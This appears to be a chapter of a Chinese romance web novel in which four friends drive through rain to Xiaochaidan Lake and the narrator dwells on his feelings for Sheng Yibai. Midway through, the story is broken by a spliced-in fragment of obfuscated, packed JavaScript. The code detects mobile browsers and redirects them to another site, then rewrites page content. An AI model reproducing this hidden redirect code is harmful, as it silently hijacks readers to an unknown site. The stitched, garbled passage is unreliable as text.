出发前,靳越寒的脸上被路柯抹了厚厚一层防晒霜,很淡的香味,涂在脸上润润的。 路柯还打算再涂一层,靳越寒说:“现在下雨,可以不用涂这么多吧?” “还是涂多点吧,这里紫外线太强,昨天你没涂脸都晒红了。” 路柯仔细瞧了瞧他的脸,“嗯……好像还晒黑了不少。” 靳越寒一听,摸了下脸,他自己倒是没怎么察觉,就是太阳晒久了脸有刺痛感。 “你这居然还有颗小痣。”路柯指着他右眼睑下面一点的位置,“我之前怎么没发现呢。” 这颗痣的大小和位置都恰到好处,仿佛天生就应该出现在那里,让靳越寒原本清秀的眉眼多了几分独特和忧郁。 靳越寒下意识躲闪了下,有点想藏起来不愿被人发现的感觉。路柯以为他是不好意思,笑了笑,起身说准备走了。 靳越寒的手刚碰上车把手,就被徐澈截了个胡。 “你去跟盛屹白一辆车。” 见他嘴角勾着笑,靳越寒瞬间想起了昨天早上的事,他还以为是随口一句玩笑话,没想到徐澈当了真。 他没有拒绝,冲车里的路柯说:“我去那辆车。” 徐澈上车后,和路柯两个人大眼瞪小眼好一会儿,最后选择先“冰释前嫌”。 突然,路柯问:“你觉不觉得他们关系,有点别扭?” “你也这么觉得!”徐澈睁大眼睛,仿佛遇见知音了似的。 路柯点头,“说不上来,反正肯定多少有点什么。” “什么都没有才奇怪。”徐澈分析得头头是道:“第一天见面还假装不认识,后面才说是朋友,两个人那氛围就很不对劲。” 但怎么也想不出来,两个人到底为什么这样。 路柯轻叹了口气,“再说吧,说不定以后就知道了。” 见前面盛屹白的车子动了,他们才跟上去。 这几天里,因为盛屹白对西北比较熟悉,加上他情绪稳定,做事靠谱有责任心,一直都是他当“导游”。去哪里、怎么去、什么时候去都是他来安排,一路上也没出什么岔子。 他们四个人每人负责一项,靳越寒负责酒店住宿,路柯负责拍摄记录,徐澈负责吃饭和开销统计,这样一来,每个人都有事干。 大家都是第一次结伴旅行,刚开始都有些手忙脚乱,但却意外和谐。 天空一直是低垂的铅灰色,远处的橡皮山渐渐完全消失在流动的雾气中。 离开茶卡镇,车子驶上G315国道,柏油路被雨水浸透。窗外低矮的牧草湿漉漉地伏向地面,偶尔能看见几头牦牛淹没在雨幕中。 起伏的丘陵线在雨中变得柔和模糊,最远处,柴达木盆地的辽阔被无限放大。天地相接处一片混沌,平日里清晰可见的连绵雪山,此刻完全隐没在厚重的灰白色幕布之后。 经过德令哈的岔路口,巨大的路牌在雨中矗立着,加油站、零星的服务建筑显得略微冷清。车辆稀少,偶尔有大货车轰鸣而过,溅起巨大的扇形水雾。 雨天不好开车,特别是在这样复杂的路况下。他们的车速不快,一路上靳越寒没敢说话,怕影响盛屹白开车。 刚开始他还在想,盛屹白是否会不想跟他坐一辆车,但见盛屹白脸上没有不悦的神情,像是根本不在意。 昨天晚上他们还睡同一间房,现在就是坐同一辆车,这没什么的。 这是第二次坐盛屹白的车,上一回还是第一天去日月山的时候。 车上的东西并不多,整齐又干净,除了几条数据线和几包纸巾外,就剩一些很小的东西。 靳越寒看见那几包纸上有“Tempo”的logo,突然想起面馆里他拿来擦脸的那张。 明白是怎么一回事后,他悄悄看了几眼盛屹白,嘴角挂起不明显的笑。哪怕只是这一个小小的举动,有关盛屹白,他都能独自高兴很久。 察觉到他的视线,盛屹白分神问他:“怎么了?” 靳越寒没说那张纸的事,他怕说了,以后盛屹白就什么都不会为他做了。 于是他说:“你‘跳一跳’居然排第一。” 他还以为这个游戏没什么人玩了,但没想到在好友排名里,盛屹白排第一,徐澈排第三,路柯排第四。 听到这个,盛屹白有些意外,他问:“那之前,谁排第一?” “我。”靳越寒纠结了一会儿,还是实话实说:“之前没有很多好友,只有我一个人玩。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484826|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后盛屹白一直沉默着,快到小柴旦湖时,才开口:“除了这个,你还玩不玩别的?” “别的?” “对。” 靳越寒摇摇头,“不玩了,这个最简单。” 他并没有很喜欢玩游戏,只是因为无聊,才找了个最简单的来玩。 他觉得,世界上最无聊的人,可能就是他了。 - 雨一直都没有停的预兆,他们原本还在担心这样的天气,见到的湖是不是没那么好看了,但到小柴旦湖前,雨奇迹般停了。 雨后风更大了,天开始放晴后,白云成群分布在碧蓝的空中,尽管此刻十二点有阳光,离湖越近却越觉得冷。 靳越寒头上的帽子还没来得及戴稳,刚靠近湖边,帽子就被风掀起,以为要吹走时却被后边的盛屹白一抓。 他把帽子戴回靳越寒头上,等了一会儿,又亲自在他下巴处系了个结。 路柯和徐澈停好车过来,被这风一吹,两个人嗷嗷叫着喊冷,等走近湖边时,像是忘记了冷一样,一直哇哇乱叫,喊好美。 小柴旦湖的湖水颜色很迷人,会随着季节、天气、光线等的变化而呈现出不同的颜色。 近岸处的湖水是淬火般的蒂芙尼蓝,清澈得能看见水下盐晶凝结的枝状花纹,而湖心深处,阳光穿透水面,是钴蓝与松石绿的交融。 在云影覆盖的角落,湖水沉淀为靛青,几近墨黑,深不可测。 感受着高原刺骨的寒冷,视觉却被这抹丰富多彩的蓝所震撼。这不是明媚阳光下的欢快,而是忧郁深刻的旅途记忆。 湖边还有着大量白色的盐状晶带,远处背景是壮观的柴达木盆地荒漠和雅丹地貌,搭配这色彩绚丽的湖水,好像整个世界突然安静了下来,只能听见自己的心跳声。 此刻来这里的人并不多,他们四个站在一排,一边喊冷一边又站在湖边想多看会儿。 盛屹白说他之前来过这里,还在湖东岸看见了双拱彩虹。 靳越寒没见过,很好奇,两只眼睛眨了眨,像是在期待什么。 下一秒,盛屹白打开手机把照片给他看,双拱彩虹一端扎进深蓝湖水,一端藏在苍黄戈壁,像神话里的琉璃通道。 第一次盛屹白主动给他看自己拍的照,靳越寒便问他还有别的吗,他还想看。 盛屹白刚往后滑了一张,靳越寒还没来得及看,路柯的声音传来。 “靳越寒!来帮我一下!” 两个人对视一眼,盛屹白说:“过去吧。” 路柯一直有教靳越寒摄影,现在帮忙拍起照来也是熟能生巧,拍得路柯都挺满意。 之后在帮路柯拍照的过程里,靳越寒却心不在焉,总用余光找盛屹白的身影。 盛屹白和徐澈站在湖边,徐澈正说着什么,笑得开怀,而盛屹白则站在他身侧,一只手随意地插在兜里,另一只手自然垂落,姿态松弛又有力。 他听着,薄唇只是轻轻牵起一抹极淡的笑意,风却独独为他而来,带着格外的眷顾,温柔地拂过他的额前,撩起几缕发丝。 那风又体贴地掠过他的肩背,恰到好处地勾勒出挺拔而流畅的轮廓。 他身上有着一种沉淀下来的疏离,并非冷漠,更像是一种历经世事后的冷静自持,是从容,更是沉稳。 他不是被风侵袭的旅人,倒像是风心甘情愿环绕的中心。 靳越寒不舍得把镜头从他身上移开。 他太过于执着在眼前的盛屹白身上翻检着过去的碎片,试图拼凑出那个他以为不曾改变的模样。 可眼前的盛屹白,是如此清晰,又如此不同。 在他不曾参与过的那些年里,盛屹白早已成长为更好的样子。那些年少时以为怎么也跨不过的坎,如今看来都是过眼云烟。 好像只有他,原地踏步,一直不肯往前看。